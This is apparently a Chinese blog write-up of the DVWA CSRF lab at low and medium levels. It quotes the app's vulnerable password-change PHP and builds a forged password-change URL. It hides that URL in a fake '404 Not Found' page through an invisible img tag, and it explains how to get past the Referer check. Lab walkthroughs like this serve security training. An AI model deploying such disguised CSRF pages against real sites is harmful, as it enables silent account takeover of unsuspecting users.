•   站长QQ3308757747
  •   官方Q群:1057658362

DVWA-CSRF

摘要: LOW后端代码<?phpif(isset($_GET['Change'])){//Getinput$pass_new=...

LOW
后端代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

只要通过password_new和password_conf提交数据且相等就可以更改密码
所以构造url
http://103.194.106.153/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
但是这个链接太明显了,管理员不容易上当所以我们要伪装一下写一个简简单单的页面

<html>
    <head><title>404 Not Found</title></head>
    <body>
        <img src="http://103.194.106.153/vulnerabilities/csrf/?

password_new=123456&password_conf=123456&Change=Change#" width=1 height=0></img>
        <center><h1>404 Not Found</h1></center>
        <hr><center>nginx</center>
    </body>
</html>

当管理员访问这个页面时,就会访问这个URL,导致密码被更改,而且页面是404,我保存了靶机上的错误页面改的,你们可以自由发挥。

在访问之前

访问之后

解密以下就是123456

medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        $html .= "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

利用了一个函数strpos()
检测SERVER_NAME中是否有HTTP_REFERER,也就是对请求包中的referer参数,如果返回不是false则执行一系列代码。sever_name包括http包头中的Host参数,以及要访问的主机名。
所以这里一起检测了host和主机名,所以我们一颗把文件名设置成主机名就可以进行攻击
这次把密码改成654321

解密

本文链接:http://www.my-index.cn/?id=28

版权声明:转载请注明转自“my-index.cn”

分享到:

发表评论

评论列表

还没有评论,快来说点什么吧~

歌曲 - 歌手
0:00